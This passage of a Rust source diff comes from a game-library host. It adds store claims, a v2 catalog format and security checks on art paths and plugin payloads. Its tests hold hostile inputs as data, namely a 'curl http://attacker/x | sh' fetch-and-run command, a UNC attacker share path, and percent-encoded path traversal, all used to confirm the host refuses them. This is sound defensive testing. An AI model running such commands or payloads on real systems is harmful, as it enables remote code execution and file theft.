"an image extension must not be enough — the bytes must BE an image" + ); + + // Outside the configured root: refused even though it is a genuine image. + let elsewhere = outside.join("cover.png"); + std::fs::write(&elsewhere, PNG).unwrap(); + assert!( + local_art_bytes(elsewhere.to_str().unwrap()).is_none(), + "a path outside every art root must be refused" + ); + // …and a path that only *escapes* via traversal is caught, because we canonicalize first. + let traversal = dir + .join("..") + .join(outside.file_name().unwrap()) + .join("cover.png"); + assert!( + local_art_bytes(traversal.to_str().unwrap()).is_none(), + "`..` out of the root must be refused after canonicalization" + ); + assert!(local_art_bytes(dir.join("nope.png").to_str().unwrap()).is_none()); + // A directory is not a servable cover — the proxy must never become a directory reader. + assert!(local_art_bytes(dir.to_str().unwrap()).is_none()); + + // The `file://` plugin contract reaches the SAME bytes through the SAME gate. This is the + // half that matters for the extracted scanners: they emit `file://` values, so if the + // conversion happened after the confinement check the check would be inspecting a string + // that is not the path being read. + let as_url = format!("file://{}", cover.to_str().unwrap()); + assert_eq!( + local_art_bytes(&as_url) + .expect("file:// reads the same cover") + .0, + PNG + ); + // …and a `file://` value is confined exactly like a bare one — no bypass by spelling. + assert!( + local_art_bytes(&format!("file://{}", elsewhere.to_str().unwrap())).is_none(), + "file:// must not escape the art roots" + ); + // Percent-encoded traversal is decoded BEFORE canonicalization, so it cannot hide from the + // `..` check. + assert!( + local_art_bytes(&format!( + "file://{}/%2e%2e/{}/cover.png", + dir.to_str().unwrap(), + outside.file_name().unwrap().to_str().unwrap() + )) + .is_none(), + "percent-encoded traversal must be refused" + ); + + // A UNC path is refused outright (outbound SMB auth coercion), before any filesystem hit. + assert!(!art_path_is_servable(r"\\attacker\share\a.png")); + + std::env::remove_var("PUNKTFUNK_LIBRARY_ART_ROOTS"); let _ = std::fs::remove_dir_all(&dir); + let _ = std::fs::remove_dir_all(&outside); + } + + /// Write-time validation refuses what read-time would refuse, so an unservable path never even + /// reaches `library.json`. URLs are none of its business. + #[test] + fn validate_art_paths_rejects_unservable_local_paths() { + let ok = Artwork { + portrait: Some("https://cdn/x.jpg".into()), + hero: Some("data:image/png;base64,AAAA".into()), + logo: Some("/api/v1/library/art/custom:x/logo".into()), + header: None, + }; + assert!(validate_art_paths(&ok).is_ok(), "URLs pass through"); + + let unc = Artwork { + portrait: Some(r"\\attacker\share\a.png".into()), + ..Default::default() + }; + assert!( + validate_art_paths(&unc).is_err(), + "UNC is refused at write time" + ); + + let secret = Artwork { + hero: Some(r"C:\ProgramData\punktfunk\mgmt-token".into()), + ..Default::default() + }; + let err = validate_art_paths(&secret).expect_err("a secret path is refused"); + assert!( + err.starts_with("art.hero"), + "the error names the field: {err}" + ); + } + + #[test] + fn sniff_image_type_recognizes_containers_and_rejects_secrets() { + assert_eq!(sniff_image_type(PNG), Some("image/png")); + assert_eq!( + sniff_image_type(&[0xFF, 0xD8, 0xFF, 0xE0]), + Some("image/jpeg") + ); + assert_eq!(sniff_image_type(b"GIF89a...."), Some("image/gif")); + assert_eq!( + sniff_image_type(b"RIFF\0\0\0\0WEBPVP8 "), + Some("image/webp") + ); + assert_eq!(sniff_image_type(b"BM\0\0"), Some("image/bmp")); + // The shapes a stolen secret actually has. + assert_eq!(sniff_image_type(b"-----BEGIN PRIVATE KEY-----"), None); + assert_eq!(sniff_image_type(b"9f8a7b6c5d4e3f2a1b0c"), None); + assert_eq!(sniff_image_type(b""), None); } } diff --git a/crates/punktfunk-host/src/library/custom.rs b/crates/punktfunk-host/src/library/custom.rs index de1bbf6c..56c9a5b4 100644 --- a/crates/punktfunk-host/src/library/custom.rs +++ b/crates/punktfunk-host/src/library/custom.rs @@ -28,6 +28,17 @@ pub struct CustomEntry { /// host-assigned `id` stays stable across reconciles. Present iff `provider` is. #[serde(default, skip_serializing_if = "Option::is_none")] pub external_id: Option, + /// The **store this entry was claimed under** (D2), stamped by a `?store=`-qualified reconcile. + /// `None` = an unclaimed provider entry or a manual one, both of which surface as `custom`. + /// + /// Materialized onto the entry rather than looked up in [`Catalog::claims`] on every read so an + /// entry is self-describing: its id and its `store` badge derive from the entry alone, and stay + /// correct even while the claim map is being rewritten. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub store: Option, + /// Whether this entry is a game or the launcher itself — see [`GameRole`]. + #[serde(default, skip_serializing_if = "GameRole::is_game")] + pub role: GameRole, /// How to recognize this title's process once it is running (design §9) — the one thing a /// provider knows that the host cannot work out for itself. /// @@ -53,6 +64,10 @@ pub struct CustomInput { /// Per-title prep/undo steps — commands run as the host user; operator-privileged config. #[serde(default)] pub prep: Vec, + /// Whether this entry is a game or the launcher itself — see [`GameRole`]. A hand-added launcher + /// entry is legal (an operator may want a "Steam" tile without installing the steam plugin). + #[serde(default)] + pub role: GameRole, /// How to recognize this title's process — see [`CustomEntry::detect`]. #[serde(default)] pub detect: DetectHint, @@ -76,6 +91,10 @@ pub struct ProviderEntryInput { /// Per-title prep/undo steps — commands run as the host user; operator-privileged config. #[serde(default)] pub prep: Vec, + /// Whether this entry is a game or the launcher itself — see [`GameRole`]. A library plugin + /// emits its `launchers(cfg)` entries with `role: "launcher"`. + #[serde(default)] + pub role: GameRole, /// How to recognize this title's process — see [`CustomEntry::detect`]. A provider that knows its /// titles' install directories (Playnite does) should send them: it is what lets a game launched /// through the provider's own client still end its session when the player quits. @@ -101,10 +120,13 @@ impl From for GameEntry { .unwrap_or_default() .or_hint(&c.detect); GameEntry { - id: format!("custom:{}", c.id), - store: "custom".into(), + id: library_id_for(&c), + // A claimed entry wears its store's badge; everything else is `custom`. `provider` rides + // along either way, so attribution ("synced by the steam plugin") survives the claim. + store: c.store.clone().unwrap_or_else(|| "custom".into()), title: c.title, art: c.art, + role: c.role, launch: c.launch, provider: c.provider, detect, @@ -122,42 +144,123 @@ fn custom_path() -> PathBuf { pf_paths::config_dir().join("library.json") } -/// Load the custom entries (empty + non-fatal if the file is absent or malformed). -pub fn load_custom() -> Vec { +/// The persisted catalog (`library.json` **v2**): the entries plus the store-claim map (D2). +#[derive(Debug, Default, Serialize, Deserialize)] +pub struct Catalog { + #[serde(default)] + pub entries: Vec, + /// `store id → provider id`. One provider per store; a second claimant is refused (409). + /// + /// The map — not the entries — is the authority for a claim, which is exactly why it survives an + /// **empty reconcile**: a store the plugin legitimately owns can have zero installed titles, and + /// the built-in scanner it suppresses must stay suppressed anyway. Releasing is explicit + /// (`DELETE /library/provider/{p}`, or the plugin claiming a different store). + #[serde(default)] + pub claims: BTreeMap, +} + +/// What `library.json` may contain on disk. v1 was a bare array of entries; v2 is the [`Catalog`] +/// object. Untagged, so an existing v1 file loads unchanged — and the host always WRITES v2, so the +/// first mutation after an upgrade migrates the file in place with no separate migration step. +#[derive(Deserialize)] +#[serde(untagged)] +enum LibraryFile { + V2(Catalog), + Legacy(Vec), +} + +/// Load the whole catalog (default + non-fatal if the file is absent or malformed). +pub fn load_catalog() -> Catalog { match std::fs::read_to_string(custom_path()) { - Ok(raw) => serde_json::from_str(&raw).unwrap_or_else(|e| { - tracing::warn!(error = %e, "library.json malformed — ignoring custom entries"); - Vec::new() - }), - Err(_) => Vec::new(), + Ok(raw) => match serde_json::from_str::(&raw) { + Ok(LibraryFile::V2(c)) => c, + Ok(LibraryFile::Legacy(entries)) => Catalog { + entries, + claims: BTreeMap::new(), + }, + Err(e) => { + tracing::warn!(error = %e, "library.json malformed — ignoring custom entries"); + Catalog::default() + } + }, + Err(_) => Catalog::default(), } } -/// Serve a custom/provider entry's stored **local** art file for one [`ArtKind`] — the non-Steam -/// branch of the art proxy (`GET /library/art/custom:/`). `id` is the bare custom id (the -/// `custom:` prefix already stripped by the handler). `None` if the entry is unknown, has no art of -/// that kind, or that art value isn't a servable local file (e.g. an `http` URL the client fetches -/// itself). Blocking IO — call off the async runtime. -pub fn custom_local_art_bytes(id: &str, kind: ArtKind) -> Option<(Vec, String)> { - let entry = load_custom().into_iter().find(|e| e.id == id)?; - let field = match kind { - ArtKind::Portrait => entry.art.portrait, - ArtKind::Hero => entry.art.hero, - ArtKind::Logo => entry.art.logo, - ArtKind::Header => entry.art.header, - }?; +/// Load just the entries — the read path every library surface uses. +pub fn load_custom() -> Vec { + load_catalog().entries +} + +/// The active store claims (`store → provider`). Read per library scan to suppress the built-in +/// scanner a plugin has taken over (D2). +pub fn claimed_stores() -> BTreeMap { + load_catalog().claims +} + +/// The library id a stored entry surfaces as. **The single source of truth for the mapping** — +/// [`From for GameEntry`] and every id→entry lookup go through it, so the id scheme +/// can't drift between the catalog, the art proxy and the launch resolver. +/// +/// A **claimed** entry (D2) gets the deterministic `:` its built-in scanner used +/// to produce — `steam:440`, `heroic:legendary:Quail` — so entry ids, GameStream FNV-1a app ids, +/// client art caches and Moonlight pins all survive the migration to a plugin untouched. That is the +/// whole point of the claim: extraction must be invisible to everything downstream. An unclaimed +/// entry keeps the opaque host-assigned `custom:`. +pub(crate) fn library_id_for(e: &CustomEntry) -> String { + match (e.store.as_deref(), e.external_id.as_deref()) { + (Some(store), Some(external)) => format!("{store}:{external}"), + _ => format!("custom:{}", e.id), + } +} + +/// The **source id** an entry is toggled by (WP2.6): its claimed store when it has one, else its +/// provider id. `None` for a manual entry — the custom store is not a source and can never be +/// switched off. Since the claimed store id, the provider id and the old scanner id are all the same +/// string by construction, a user's existing disabled state carries over verbatim. +pub(crate) fn source_id_for(e: &CustomEntry) -> Option<&str> { + e.store.as_deref().or(e.provider.as_deref()) +} + +/// The stored entry a full **library id** refers to, or `None`. The art proxy resolves *any* id this +/// way before falling back to the legacy per-store branches (WP1.2), which is what lets a plugin's +/// entries be served regardless of what their ids look like. +pub fn entry_for_library_id(library_id: &str) -> Option { + load_custom() + .into_iter() + .find(|e| library_id_for(e) == library_id) +} + +/// Serve a stored entry's **local** art file for one [`ArtKind`] — the `library.json` branch of the +/// art proxy (`GET /library/art//`). `None` if the id names no stored entry, it has +/// no art of that kind, or that art value isn't a servable local file (e.g. an `http` URL the client +/// fetches itself). Blocking IO — call off the async runtime. +pub fn library_local_art_bytes(library_id: &str, kind: ArtKind) -> Option<(Vec, String)> { + let field = art_field(&entry_for_library_id(library_id)?.art, kind)?; is_local_art_path(&field) .then(|| local_art_bytes(&field)) .flatten() } -fn save_custom(entries: &[CustomEntry]) -> Result<()> { +/// One [`Artwork`] field by kind — the tiny mapping the proxy and the box-art ladder share. +pub(crate) fn art_field(art: &Artwork, kind: ArtKind) -> Option { + match kind { + ArtKind::Portrait => art.portrait.clone(), + ArtKind::Hero => art.hero.clone(), + ArtKind::Logo => art.logo.clone(), + ArtKind::Header => art.header.clone(), + } +} + +/// Persist the catalog in the **v2** shape (write-then-rename, restrictive perms). Every mutation +/// path funnels through here, so a v1 file is upgraded by the first write. +fn save_catalog(catalog: &Catalog) -> Result<()> { let dir = pf_paths::config_dir(); // Owner-private dir (0700 / SYSTEM+Admins DACL) so a non-privileged local user can't plant a // library.json whose `prep`/`launch` commands the host would later execute — the same trust // boundary hooks.json and the mgmt token already use. pf_paths::create_private_dir(&dir).with_context(|| format!("create {}", dir.display()))?; - let json = serde_json::to_string_pretty(entries)?; + let json = serde_json::to_string_pretty(catalog)?; // Write-then-rename so a crash mid-write never truncates the catalog; `write_secret_file` gives // the temp file its restrictive perms (0600 / SYSTEM+Admins DACL) before the rename carries them // to the final path. @@ -177,19 +280,26 @@ fn new_id(title: &str) -> String { hex::encode(&Sha256::digest(format!("{title}:{nanos}").as_bytes())[..6]) } -/// Outcome of a manual mutation against an id — distinguishes "no such entry" from "exists, -/// but a provider owns it" (the mgmt layer maps the latter to 409, not 404). +/// Outcome of a mutation — distinguishes "no such entry" from the two conflict cases the mgmt +/// layer maps to 409 rather than 404. pub enum MutateOutcome { Done(T), NotFound, /// The entry belongs to this provider — mutate it through the provider reconcile API /// (or remove the whole provider set); manual edits would be clobbered at the next sync. ProviderOwned(String), + /// The requested store claim is already held by a DIFFERENT provider (D2: one provider per + /// store). Refusing is the point — two plugins both emitting `steam:440` would collide on entry + /// ids, so the second claimant is told who holds it instead of silently taking over. + StoreClaimed { + store: String, + provider: String, + }, } /// Create a custom (manual) entry, returning it with its assigned id. pub fn add_custom(input: CustomInput) -> Result { - let mut entries = load_custom(); + let mut catalog = load_catalog(); let entry = CustomEntry { id: new_id(&input.title), title: input.title, @@ -198,11 +308,13 @@ pub fn add_custom(input: CustomInput) -> Result { prep: input.prep, provider: None, external_id: None, + store: None, + role: input.role, detect: input.detect, meta: input.meta, }; - entries.push(entry.clone()); - save_custom(&entries)?; + catalog.entries.push(entry.clone()); + save_catalog(&catalog)?; emit_changed("manual"); Ok(entry) } @@ -210,8 +322,8 @@ pub fn add_custom(input: CustomInput) -> Result { /// Replace a manual entry's fields (id preserved). Provider-owned entries are refused — /// their state belongs to the provider's reconcile (RFC §8 ownership rule). pub fn update_custom(id: &str, input: CustomInput) -> Result> { - let mut entries = load_custom(); - let Some(slot) = entries.iter_mut().find(|e| e.id == id) else { + let mut catalog = load_catalog(); + let Some(slot) = catalog.entries.iter_mut().find(|e| e.id == id) else { return Ok(MutateOutcome::NotFound); }; if let Some(provider) = &slot.provider { @@ -221,31 +333,61 @@ pub fn update_custom(id: &str, input: CustomInput) -> Result Result> { - let mut entries = load_custom(); - let Some(entry) = entries.iter().find(|e| e.id == id) else { + let mut catalog = load_catalog(); + let Some(entry) = catalog.entries.iter().find(|e| e.id == id) else { return Ok(MutateOutcome::NotFound); }; if let Some(provider) = &entry.provider { return Ok(MutateOutcome::ProviderOwned(provider.clone())); } - entries.retain(|e| e.id != id); - save_custom(&entries)?; + catalog.entries.retain(|e| e.id != id); + save_catalog(&catalog)?; emit_changed("manual"); Ok(MutateOutcome::Done(())) } // ------------------------------------------------------------------ providers (RFC §8) +/// The **operator-privileged field** set in a library payload, if the payload carries one — the +/// fields whose contents the host later executes as the host user. +/// +/// `prep` is run by [`crate::hooks::run_prep`] through `/bin/sh -c`, and a `command` launch is run +/// through `/bin/sh -c` (Linux) or `cmd.exe /c` (Windows). Both are documented at their execution +/// sites as *operator-typed, never client-set* — the custom store's whole trust argument is that a +/// human typed the command into the admin console. Any lane that is not the operator's own token +/// must therefore not be able to set them, which is what the 2026-08-05 review's H-1 exploited: the +/// plugin token reached `POST /library/custom` and `PUT /library/provider/{p}`, which carry two +/// copies of the very primitive the `/hooks` carve-out exists to withhold. +/// +/// Returns the field name for the error message, so a plugin author sees exactly what was refused. +/// The other launch kinds (`steam_appid`, `steam_ui`, `launcher_ui`, `epic`, `gog`, `aumid`, +/// `lutris_id`, `heroic`) are all +/// host-resolved from a validated id and stay open to every lane — a provider plugin can still +/// publish its whole catalogue, it just cannot hand the host a shell command to run. +pub fn privileged_field( + launch: Option<&LaunchSpec>, + prep: &[crate::hooks::PrepCmd], +) -> Option<&'static str> { + if !prep.is_empty() { + return Some("prep"); + } + if launch.is_some_and(|l| l.kind == "command") { + return Some("launch.kind = \"command\""); + } + None +} + /// Provider ids are path segments, event sources, and console labels: keep them tame. /// `manual` is reserved (it is the no-provider sentinel in `library.changed`). pub fn validate_provider_name(provider: &str) -> Result<(), String> { @@ -265,6 +407,26 @@ pub fn validate_provider_name(provider: &str) -> Result<(), String> { } } +/// Store claims become the **prefix of every claimed entry's library id**, so they are far more +/// constrained than a provider name: no dots (an id is split on the first `:`, and a dotted store +/// would read as a hostname in logs), and the two host-owned namespaces are off-limits — `custom` is +/// the unclaimed-entry namespace and `manual` is the no-provider sentinel in `library.changed`. +pub fn validate_store_claim(store: &str) -> Result<(), String> { + if store == "custom" || store == "manual" { + return Err(format!("store id `{store}` is reserved")); + } + let ok = !store.is_empty() + && store.len() <= 32 + && store + .bytes() + .all(|b| b.is_ascii_lowercase() || b.is_ascii_digit() || matches!(b, b'-' | b'_')); + if ok { + Ok(()) + } else { + Err("store id must be 1–32 chars of [a-z0-9_-]".into()) + } +} + /// Validate a reconcile payload: non-empty titles and unique, non-empty external ids (the /// diff key — a duplicate would make ownership of the surviving entry ambiguous). pub fn validate_provider_payload(inputs: &[ProviderEntryInput]) -> Result<(), String> { @@ -282,6 +444,40 @@ pub fn validate_provider_payload(inputs: &[ProviderEntryInput]) -> Result<(), St e.external_id )); } + // Closed-vocabulary launch kinds are checked on the way IN as well as at launch time, so a + // plugin gets a 400 it can act on rather than a tile that silently refuses to start. + if let Some(launch) = &e.launch { + if launch.kind == "steam_ui" && !valid_steam_ui(&launch.value) { + return Err(format!( + "entries[{i}]: `launch.value` for kind `steam_ui` must be `bigpicture` or `desktop`" + )); + } + // Refused rather than silently accepted, because the failure is otherwise invisible + // until a user clicks the tile: an unresolvable value yields no command at launch time. + if launch.kind == "launcher_ui" && !valid_launcher_ui(&launch.value) { + return Err(format!( + "entries[{i}]: `launch.value` for kind `launcher_ui` names a launcher this host \ + cannot open (`{}`)", + launch.value + )); + } + } + if let Some(marker) = &e.detect.env_marker { + if !valid_env_key(&marker.key) { + return Err(format!( + "entries[{i}]: `detect.env_marker.key` must be 1–64 chars of [A-Za-z0-9_]" + )); + } + if marker + .value + .as_ref() + .is_some_and(|v| v.len() > MAX_ENV_VALUE) + { + return Err(format!( + "entries[{i}]: `detect.env_marker.value` must be at most {MAX_ENV_VALUE} chars" + )); + } + } } Ok(()) } @@ -293,6 +489,7 @@ pub fn validate_provider_payload(inputs: &[ProviderEntryInput]) -> Result<(), St fn reconcile_entries( entries: &mut Vec, provider: &str, + store: Option<&str>, inputs: Vec, ) -> Vec { // The provider's current entries, keyed by its own stable id. @@ -317,6 +514,10 @@ fn reconcile_entries( prep: input.prep, provider: Some(provider.to_string()), external_id: Some(input.external_id), + // Stamping the claim per entry is what makes the surfaced id deterministic + // (`:`) — see `library_id_for`. + store: store.map(str::to_string), + role: input.role, detect: input.detect, meta: input.meta, }); @@ -326,43 +527,86 @@ fn reconcile_entries( result } -/// Atomically replace `provider`'s entry set (RFC §8: `PUT /library/provider/{provider}`). -/// The caller validates the name and payload first. Emits `library.changed` with the provider -/// as the source. +/// Atomically replace `provider`'s entry set (RFC §8: `PUT /library/provider/{provider}`), optionally +/// under a **store claim** (D2: `?store=steam`). The caller validates the name and payload first. +/// Emits `library.changed` with the provider as the source. +/// +/// Claiming is idempotent for the holder and refused for anyone else. A provider holds at most one +/// store, so claiming a new one releases whatever it held before — otherwise an abandoned claim would +/// go on suppressing a built-in scanner with nothing to replace it. pub fn reconcile_provider( provider: &str, + store: Option<&str>, inputs: Vec, -) -> Result> { - let mut entries = load_custom(); - let result = reconcile_entries(&mut entries, provider, inputs); - save_custom(&entries)?; +) -> Result>> { + let mut catalog = load_catalog(); + if let Some(store) = store { + if let Some(holder) = catalog.claims.get(store) { + if holder != provider { + return Ok(MutateOutcome::StoreClaimed { + store: store.to_string(), + provider: holder.clone(), + }); + } + } + let previous: Vec = catalog + .claims + .iter() + .filter(|(s, p)| p.as_str() == provider && s.as_str() != store) + .map(|(s, _)| s.clone()) + .collect(); + for stale in previous { + tracing::info!(provider, released = %stale, claimed = store, "library: provider moved its store claim"); + catalog.claims.remove(&stale); + } + if catalog + .claims + .insert(store.to_string(), provider.to_string()) + .is_none() + { + tracing::info!(provider, store, "library: store claimed by a provider"); + } + } + let result = reconcile_entries(&mut catalog.entries, provider, store, inputs); + save_catalog(&catalog)?; emit_changed(provider); - Ok(result) + Ok(MutateOutcome::Done(result)) } -/// Remove every entry of `provider` (RFC §8: `DELETE /library/provider/{provider}` — the -/// clean-uninstall path). Returns how many were removed; no event when nothing was. +/// Remove every entry of `provider` **and release its store claim** (RFC §8: +/// `DELETE /library/provider/{provider}` — the clean-uninstall path). Returns how many entries were +/// removed; no event when nothing changed at all. +/// +/// Releasing here — and only here — is what makes uninstalling a library plugin bring its built-in +/// scanner straight back, with no restart and nothing to undo by hand. pub fn delete_provider(provider: &str) -> Result { - let mut entries = load_custom(); - let before = entries.len(); - entries.retain(|e| e.provider.as_deref() != Some(provider)); - let removed = before - entries.len(); - if removed > 0 { - save_custom(&entries)?; + let mut catalog = load_catalog(); + let before = catalog.entries.len(); + catalog + .entries + .retain(|e| e.provider.as_deref() != Some(provider)); + let removed = before - catalog.entries.len(); + let claims_before = catalog.claims.len(); + catalog.claims.retain(|_, p| p != provider); + let released = claims_before - catalog.claims.len(); + if removed > 0 || released > 0 { + if released > 0 { + tracing::info!(provider, released, "library: store claim released"); + } + save_catalog(&catalog)?; emit_changed(provider); } Ok(removed) } -/// The prep/undo steps for a library id — `custom:` entries only (the other stores have no +/// The prep/undo steps for a library id — any **stored** entry (the in-host scanners have no /// per-title config surface; a GameStream `apps.json` entry carries its own `prep` instead). +/// +/// Resolved through [`entry_for_library_id`] rather than by stripping a `custom:` prefix, so a +/// claimed entry's prep still runs: after extraction a `steam:440` entry is a stored one, and +/// per-title prep is exactly the kind of thing an operator sets on a game they play. pub fn prep_for(library_id: &str) -> Vec { - let Some(id) = library_id.strip_prefix("custom:") else { - return Vec::new(); - }; - load_custom() - .into_iter() - .find(|e| e.id == id) + entry_for_library_id(library_id) .map(|e| e.prep) .unwrap_or_default() } @@ -375,13 +619,7 @@ fn emit_changed(source: &str) { }); } -/// A digits-only Steam appid: the sole client-influenced part of a Steam launch, validated before it -/// is interpolated into any command / URI (so a client-sent id can never carry shell or URI syntax). -/// Cross-platform — used by the Linux shell mapping ([`command_for`]) and the Windows spawn mapping -/// ([`windows_launch_for`]). -pub(crate) fn valid_steam_appid(value: &str) -> bool { - !value.is_empty() && value.bytes().all(|b| b.is_ascii_digit()) -} +// `valid_steam_appid` moved to `launch.rs` (WP1.1) — it validates a launch value, not a store entry. #[cfg(test)] mod tests { @@ -396,6 +634,8 @@ mod tests { prep: Vec::new(), provider: None, external_id: None, + store: None, + role: GameRole::Game, detect: DetectHint::default(), meta: GameMeta::default(), } @@ -408,6 +648,7 @@ mod tests { art: Artwork::default(), launch: None, prep: Vec::new(), + role: GameRole::Game, detect: DetectHint::default(), meta: GameMeta::default(), } @@ -429,6 +670,79 @@ mod tests { assert_eq!(g.meta.platform.as_deref(), Some("PS2")); } + /// D2's core promise: a **claimed** entry is indistinguishable from what the built-in scanner + /// produced. Same id, same store badge — plus the provider attribution the scanner never had. + #[test] + fn a_claimed_entry_reproduces_the_scanner_identity() { + let mut e = manual("host-assigned", "Portal 2"); + e.provider = Some("steam".into()); + e.external_id = Some("620".into()); + e.store = Some("steam".into()); + assert_eq!(library_id_for(&e), "steam:620"); + let g: GameEntry = e.clone().into(); + assert_eq!(g.id, "steam:620", "exactly what the scanner emitted"); + assert_eq!(g.store, "steam", "the store badge, not `custom`"); + assert_eq!( + g.provider.as_deref(), + Some("steam"), + "attribution rides along too" + ); + + // Unclaimed provider entries are untouched by any of this — rom-manager/playnite keep the + // opaque host id they have always had. + let mut u = manual("abc", "Chrono Trigger"); + u.provider = Some("romm".into()); + u.external_id = Some("rom-1".into()); + assert_eq!(library_id_for(&u), "custom:abc"); + assert_eq!(GameEntry::from(u).store, "custom"); + + // The source a toggle addresses: the claimed store when there is one, else the provider. + assert_eq!(source_id_for(&e), Some("steam")); + let mut r = manual("z", "T"); + r.provider = Some("romm".into()); + assert_eq!(source_id_for(&r), Some("romm")); + assert_eq!( + source_id_for(&manual("m", "Manual")), + None, + "never hideable" + ); + } + + /// A claimed entry keeps its `:` id across reconciles no matter what the + /// host-assigned id does — which is what keeps GameStream's FNV-1a app ids, client art caches + /// and Moonlight pins valid through the migration (the whole point of D2). + #[test] + fn claimed_ids_are_deterministic_across_reconciles() { + let mut entries = Vec::new(); + let r1 = reconcile_entries( + &mut entries, + "steam", + Some("steam"), + vec![input("440", "Team Fortress 2"), input("620", "Portal 2")], + ); + let ids: Vec = r1.iter().map(library_id_for).collect(); + assert_eq!(ids, ["steam:440", "steam:620"]); + + // Re-sync with a renamed title and a new entry: the surfaced ids for surviving titles are + // byte-identical, and a brand-new title's id is derived, not random. + let r2 = reconcile_entries( + &mut entries, + "steam", + Some("steam"), + vec![ + input("440", "Team Fortress 2 (2026)"), + input("70", "Half-Life"), + ], + ); + let ids2: Vec = r2.iter().map(library_id_for).collect(); + assert_eq!(ids2, ["steam:440", "steam:70"]); + + // Dropping the claim on a later reconcile reverts them to opaque custom ids — the entries + // are the same rows, so this is exactly the "plugin stopped claiming" degradation. + let r3 = reconcile_entries(&mut entries, "steam", None, vec![input("440", "TF2")]); + assert!(library_id_for(&r3[0]).starts_with("custom:")); + } + /// The metadata contract on the wire and on disk: fields serialize FLAT (no `meta` nesting — /// clients and plugins see `platform` beside `title`), absent fields vanish entirely, and a /// pre-metadata `library.json` / payload still parses (all-optional). @@ -477,6 +791,7 @@ mod tests { let r1 = reconcile_entries( &mut entries, "romm", + None, vec![input("rom-a", "Game A"), input("rom-b", "Game B")], ); assert_eq!(r1.len(), 2); @@ -488,6 +803,7 @@ mod tests { let r2 = reconcile_entries( &mut entries, "romm", + None, vec![input("rom-a", "Game A (v2)"), input("rom-c", "Game C")], ); assert_eq!(r2.len(), 2); @@ -506,6 +822,7 @@ mod tests { let r3 = reconcile_entries( &mut entries, "romm", + None, vec![input("rom-a", "Game A (v2)"), input("rom-c", "Game C")], ); assert_eq!( @@ -526,7 +843,7 @@ mod tests { .any(|e| e.id == "oth1" && e.provider.as_deref() == Some("itch"))); // Empty payload = remove everything the provider owns (same as DELETE). - let r4 = reconcile_entries(&mut entries, "romm", Vec::new()); + let r4 = reconcile_entries(&mut entries, "romm", None, Vec::new()); assert!(r4.is_empty()); assert_eq!( entries.len(), @@ -535,6 +852,127 @@ mod tests { ); } + /// `library.json` v1 (a bare array) must keep loading, and v2 (the claims object) must round + /// trip. This is the only migration in the whole program — get it wrong and an existing host + /// silently loses its manual entries on upgrade. + #[test] + fn v1_and_v2_library_files_both_load() { + // v1: exactly what a shipped host has on disk today. + let v1 = r#"[{"id":"abc","title":"Old Manual"}]"#; + let c = match serde_json::from_str::(v1).unwrap() { + LibraryFile::Legacy(entries) => Catalog { + entries, + claims: BTreeMap::new(), + }, + LibraryFile::V2(_) => panic!("an array must not parse as v2"), + }; + assert_eq!(c.entries.len(), 1); + assert_eq!(c.entries[0].title, "Old Manual"); + assert!(c.claims.is_empty()); + + // v2, including a claim. + let v2 = r#"{"entries":[{"id":"abc","title":"New"}],"claims":{"steam":"steam"}}"#; + let c = match serde_json::from_str::(v2).unwrap() { + LibraryFile::V2(c) => c, + LibraryFile::Legacy(_) => panic!("an object must not parse as v1"), + }; + assert_eq!(c.entries.len(), 1); + assert_eq!(c.claims.get("steam").map(String::as_str), Some("steam")); + + // A v2 file with no claims key at all (what the first write after upgrade produces before + // anything is claimed) still loads. + let bare = r#"{"entries":[]}"#; + assert!(matches!( + serde_json::from_str::(bare).unwrap(), + LibraryFile::V2(_) + )); + + // And what we WRITE is v2, so one mutation upgrades the file in place. + let written = serde_json::to_string(&Catalog::default()).unwrap(); + assert!(written.contains("\"entries\"")); + assert!(written.contains("\"claims\"")); + } + + #[test] + fn store_claim_validation() { + assert!(validate_store_claim("steam").is_ok()); + assert!(validate_store_claim("epic-games").is_ok()); + assert!(validate_store_claim("xbox_pc").is_ok()); + // The two host-owned namespaces are off-limits. + assert!(validate_store_claim("custom").is_err()); + assert!(validate_store_claim("manual").is_err()); + assert!(validate_store_claim("").is_err()); + assert!(validate_store_claim("Steam").is_err()); // no uppercase + // A dot would read as a hostname in a log line and muddies the `store:id` split. + assert!(validate_store_claim("my.store").is_err()); + assert!(validate_store_claim(&"s".repeat(33)).is_err()); + } + + /// The closed-vocabulary fields are rejected at the door, so a plugin gets a 400 rather than a + /// tile that silently refuses to launch. + #[test] + fn payload_validation_covers_the_new_closed_vocabularies() { + let with_launch = |kind: &str, value: &str| { + let mut i = input("a", "A"); + i.launch = Some(LaunchSpec { + kind: kind.into(), + value: value.into(), + }); + i + }; + assert!(validate_provider_payload(&[with_launch("steam_ui", "bigpicture")]).is_ok()); + assert!(validate_provider_payload(&[with_launch("steam_ui", "desktop")]).is_ok()); + assert!(validate_provider_payload(&[with_launch("steam_ui", "gamepad")]).is_err()); + assert!(validate_provider_payload(&[with_launch("steam_ui", "")]).is_err()); + // Other kinds are unconstrained here (the host validates them per-kind at launch). + assert!(validate_provider_payload(&[with_launch("command", "anything")]).is_ok()); + + let with_env = |key: &str, value: Option<&str>| { + let mut i = input("a", "A"); + i.detect.env_marker = Some(EnvMarker { + key: key.into(), + value: value.map(str::to_string), + }); + i + }; + assert!(validate_provider_payload(&[with_env("HEROIC_APP_NAME", Some("Quail"))]).is_ok()); + assert!(validate_provider_payload(&[with_env("BAD-KEY", None)]).is_err()); + assert!(validate_provider_payload(&[with_env("", None)]).is_err()); + assert!( + validate_provider_payload(&[with_env("K", Some(&"x".repeat(MAX_ENV_VALUE + 1)))]) + .is_err() + ); + } + + /// The field-authority rule behind the 2026-08-05 review's H-1: exactly the two fields the host + /// later hands to a shell are operator-only. Everything else — including every host-resolved + /// launch kind — stays open, so a provider plugin can publish its whole catalogue. + #[test] + fn privileged_field_is_command_execution_only() { + let cmd = LaunchSpec { + kind: "command".into(), + value: "curl http://attacker/x | sh".into(), + }; + let steam = LaunchSpec { + kind: "steam_appid".into(), + value: "70".into(), + }; + let prep = vec![crate::hooks::PrepCmd { + run: "curl http://attacker/x | sh".into(), + undo: None, + }]; + + assert_eq!( + privileged_field(Some(&cmd), &[]), + Some("launch.kind = \"command\"") + ); + assert_eq!(privileged_field(None, &prep), Some("prep")); + assert_eq!(privileged_field(Some(&steam), &prep), Some("prep")); + // The ordinary provider catalogue: nothing privileged, so no lane is refused. + assert_eq!(privileged_field(Some(&steam), &[]), None); + assert_eq!(privileged_field(None, &[]), None); + } + #[test] fn provider_name_and_payload_validation() { assert!(validate_provider_name("romm").is_ok()); diff --git a/crates/punktfunk-host/src/library/detect.rs b/crates/punktfunk-host/src/library/detect.rs 